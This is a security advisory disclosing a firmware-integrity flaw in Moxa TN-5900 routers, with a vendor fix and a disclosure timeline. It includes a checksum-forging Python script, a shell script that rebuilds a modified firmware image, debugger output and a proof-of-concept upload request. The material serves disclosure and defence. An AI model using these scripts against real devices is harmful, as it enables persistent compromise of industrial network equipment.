KL-001-2022-001: Moxa TN-5900 Firmware Upgrade Checksum Validation Vulnerability Title: Moxa TN-5900 Firmware Upgrade Checksum Validation Vulnerability Advisory ID: KL-001-2022-001 Publication Date: 2022.01.28 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2022-001.txt 1. Vulnerability Details Affected Vendor: Moxa Affected Product: TN-5900 Affected Version: v3.1 and prior Platform: Moxa Linux CWE Classification: CWE-354 Improper Validation of Integrity Check Value CVE ID: CVE-2021-46559 2. Vulnerability Description Moxa TN-5900 v3.1.0 and prior uses an insecure method to validate firmware updates. A malicious user with access to the management interface can upload abritrary code in a crafted firmware image simply by replacing a CRC value in the image header. 3. Technical Description Analysis on this vulnerability began when KoreLogic noticed that the Ssgl2_update_session_now function is immediately called when the URL /goform/web_fwUpload is given to the management application. The Ssgl2_update_session_now function will enable a session after authentication through the user interface. undefined4 websSecurityHandler(longlong *param_1) { ... ... if (requestPtr[0x20] != 0) { ... ... field_1 = strncmp(in_t0,"/init.asp",9); if (CONCAT44(extraout_v0_hi_07,field_1) != 0) { field_2 = strncmp(in_t0,"/goform/web_fwUpload",0x14); if (CONCAT44(extraout_v0_hi_08,field_2) == 0) { Ssgl2_update_session_now(local_490); } lVar3 = Ssgl2_webmultisession_session_verify(local_490,auStack104); ... } } ... ... } Reviewing the web_fwUpload function showed the code is used to update the operating firmware of the affected device. Before the firmware is accepted, it must pass a check. This check is provided through the Ssys_firmwareCheck function. void web_fwUpload(longlong *param_1,longlong *param_2) { ... if (lVar1 == -1) { FUN_1200222c0(param_1,"../upgrade.asp","Firmware Upgrade Fail! Restart the device."); ... } else { printf("%s() buffer upload datalen = %d\n","web_fwUpload",*(param_1 + 0x39)); ... ... } else { puts("Ssys_firmwareCheck"); local_118 = Ssys_firmwareCheck(lVar1,4,*(param_1 + 0x39)); if (-1 < local_118) { local_118 = Ssys_writeProgram(lVar1); } if (local_118 < 0) { printf("%s() %d firmware check fail ret = %d\n","web_fwUpload",0x7c0,local_118); ... ... } ... } The Ssys_firmwareCheck function checks that the kernel and file system have an expected length and that the provided image passes a checksum algorithm. undefined8 Ssys_firmwareCheck(ulonglong param_1,longlong param_2,ulonglong param_3,ulonglong param_4) { ... if (param_2 == local_44._4_4_) { ... if (local_4c._0_4_ == 0x400000) { if ((uVar4 < 0x1800001) && ((uVar4 & 3) == 0)) { ... file_check_sum(param_1 + 0x20,local_4c._4_4_ + 0x400000,&local_50); uVar3 = 0; if (local_50 != local_3c._0_4_) { FUN_0010d230("[Error] %s L%d : Firmware checksum error (0x%x), should be 0x%x \r\n","Ssys_firmwareCheck",0x484,local_50,local_3c._0_4_,extraout_t1_00,extraout_t2_00,extraout_t3_00); uVar3 = 0xfffffffffffffffc; } } else { FUN_0010d230("[Error] %s L%d : Rootfs length error (%d), max to %d bytes \r\n","Ssys_firmwareCheck",0x47a,uVar4,0x1800000,extraout_t1,extraout_t2,extraout_t3); uVar3 = 0xfffffffffffffffd; } } else { FUN_0010d230("[Error] %s L%d : Kernel length error (%d), should be %d bytes \r\n","common.c","Ssys_firmwareCheck",0x474,local_4c._0_4_,0x400000,extraout_t2,extraout_t3); uVar3 = 0xfffffffffffffffe; } } else { FUN_0010d230("[Error] %s L%d : Firmware file logo mismatch (0x0x), should be 0x%x \r\n","Ssys_firmwareCheck",0x46c,local_44._4_4_,param_2,extraout_t1,extraout_t2,extraout_t3); uVar3 = 0xffffffffffffffff; } ... } The checksum is simple and implemented using the following algorithm: #!/usr/bin/env python3 import sys from functools import partial from binascii import hexlify with open(sys.argv[1],"rb") as f: f.seek(0x20) checksum = int(0) for dword in iter(partial(f.read,4),b''): checksum += int(hexlify(dword),16) print (hex(checksum)[-8:]) A breakpoint was set on the file_check_sum function using GDB and the valid ROM provided by Moxa was processed. The result of the checksum process was retrieved. Breakpoint 14, 0x000000fff6fac3a4 in _init () from target:/tmp/moxa/usr/lib64/libsyscommon.so (gdb) x/1x 0xfffbf4ce30 0xfffbf4ce30: 0x2f43167a The bytes 0x2f43167a were found in the ROM image itself inside of a header containing 0x20 bytes. $ hexdump -C moxa-tn-5900-series-firmware-v3.1.rom 00000000 00 40 00 00 01 45 b0 00 00 00 00 20 00 00 00 04 |.@...E..... ....| 00000010 2f 43 16 7a 03 01 00 00 14 04 07 11 00 00 00 00 |/C.z............| The following script was constructed to disassemble and rebuild a firmware image using the expected format. The script will create a file /korelogic on the filesystem. The file will be zero bytes. #!/bin/sh IF=$1 OF=$2 dd bs=1 if=$IF of=$IF.header_1 count=$((0x10)) dd bs=1 if=$IF of=$IF.checksum skip=$((0x10)) count=4 dd bs=1 if=$IF of=$IF.header_2 skip=$((0x14)) count=$((0x20-0x14)) dd bs=1 if=$IF of=$IF.kernel skip=$((0x20)) count=$((0x1d9669-0x20)) dd bs=1 if=$IF of=$IF.splitter skip=$((0x1d9669)) count=$((0x400020-0x1d9669)) dd bs=1 if=$IF of=$IF.cramfs skip=$((0x400020)) cramfsswap $IF.cramfs $IF.cramfs.swap sudo cramfsck -x fs $IF.cramfs.swap touch fs/korelogic mkcramfs fs/ $IF.cramfs.modified cat $IF.header_1 $IF.checksum $IF.header_2 $IF.kernel $IF.splitter $IF.cramfs.modified > $OF ./checksum.py $OF | xxd -r -p > check_value dd bs=1 conv=notrunc if=check_value of=$OF seek=$((0x10)) count=4 Here is the script running. $ sudo ./make_moxa_image.sh moxa-tn-5900-series-firmware-v3.1.rom hacked.rom 16+0 records in 16+0 records out 16 bytes copied, 9.967e-05 s, 161 kB/s 4+0 records in 4+0 records out 4 bytes copied, 7.4433e-05 s, 53.7 kB/s 12+0 records in 12+0 records out 12 bytes copied, 0.000118918 s, 101 kB/s 1939017+0 records in 1939017+0 records out 1939017 bytes (1.9 MB, 1.8 MiB) copied, 3.76396 s, 515 kB/s 2255287+0 records in 2255287+0 records out 2255287 bytes (2.3 MB, 2.2 MiB) copied, 4.32499 s, 521 kB/s 21344256+0 records in 21344256+0 records out 21344256 bytes (21 MB, 20 MiB) copied, 40.8949 s, 522 kB/s Filesystem is big endian, will be converted to little endian. Filesystem contains 3313 files. CRC: 0x9b7eefd0 4+0 records in 4+0 records out 4 bytes copied, 7.4433e-05 s, 53.7 kB/s The hacked.rom image is then processed and the same breakpoint is hit. The new checksum should be 0x0987aafc. The new checksum is patched into the hacked.rom image already from the above script. $ hexdump -C hacked.rom 00000000 00 40 00 00 01 45 b0 00 00 00 00 20 00 00 00 04 |.@...E..... ....| 00000010 09 87 aa fc 03 01 00 00 14 04 07 11 00 00 00 00 |/C.z............| GDB output confirms that the checksum is the same result: Breakpoint 2, 0x000000fff72853a4 in _init () from target:/tmp/moxa/usr/lib64/libsyscommon.so (gdb) x/1x 0xfffbad34d0 0xfffbad34d0: 0x0987aafc When processing the hacked.rom image, we receive a new error. Firmware check failed, error occurs when write kernel to flash. Restart the device. Comparing the indicated error against the pseudo-c indicates we have passed the firmware validation checks. This was confirmed using GDB as well. void web_fwUpload(longlong *param_1,longlong *param_2) { ... if (lVar1 == -1) { ... } else { ... else { puts("Ssys_firmwareCheck"); local_118 = Ssys_firmwareCheck(lVar1,4,*(param_1 + 0x39)); if (-1 < local_118) { local_118 = Ssys_writeProgram(lVar1); } ... } The error indicating a write exception is expected as we were not operating on a Moxa device but were instead emulating the Moxa firmware on a MIPS development board. 4. Mitigation and Remediation Recommendation The vendor has released a patch which remediates the described vulnerability. Release notes are available at: https://www.moxa.com/en/support/product-support/security-advisory/tn-5900-secure-routers-vulnerabilities 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) and Josh Hardin of KoreLogic, Inc. 6. Disclosure Timeline 2021.02.05 - KoreLogic submits vulnerability details to Moxa. 2021.02.08 - Moxa acknowledges receipt and the intention to investigate. 2021.03.02 - Moxa notifies KoreLogic that a patch for this vulnerability is expected to be available in June 2021. 2021.04.16 - 45 business days have elapsed since KoreLogic reported this vulnerability to the vendor. 2021.06.07 - KoreLogic requests update on the status of the proposed TN-5900 patch. 2021.06.15 - Moxa informs KoreLogic that the patch is expected to be released in mid-July 2021. 2021.06.23 - 90 business days have elapsed since KoreLogic reported this vulnerability to the vendor. 2021.07.25 - Moxa informs KoreLogic that the patch is expected to be released in mid-August 2021. 2021.09.22 - 150 business days have elapsed since KoreLogic reported this vulnerability to the vendor. 2021.12.21 - 210 business days have elapsed since KoreLogic reported this vulnerability to the vendor. 2021.12.27 - Moxa notified KoreLogic that the patch is complete and ready for release.. 2021.12.28 - Moxa public acknowledgement. 2022.01.25 - KoreLogic requests CVE from Mitre. 2022.01.28 - KoreLogic public disclosure. 7. Proof of Concept POST /goform/web_fwUpload HTTP/1.1 Host: 192.168.10.10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------11395841764774651092787307532 Content-Length: <HTTP REQUEST SIZE> Connection: close Upgrade-Insecure-Requests: 1 -----------------------------11395841764774651092787307532 Content-Disposition: form-data; name="binary"; filename="hacked.rom" Content-Type: text/plain <HACKED.ROM FIRMWARE IMAGE> -----------------------------11395841764774651092787307532 Content-Disposition: form-data; name="submit" submit -----------------------------11395841764774651092787307532-- HTTP/1.1 200 OK Server: GoAhead-Webs Pragma: no-cache Cache-control: no-cache Content-Type: text/html Transfer-Encoding: chunked <!DOCTYPE html> <html> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <head> <title></title> </head> <body bgcolor="#E8FFF7" text="#000000" topmargin="10" leftmargin="12" > <font size="2" face="Arial, Helvetica, sans-serif, Marlett"> <p>Firmware check failed, error occurs when write kernel to flash. Restart the device.</p> </font></body> </html> The contents of this advisory are copyright(c) 2022 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt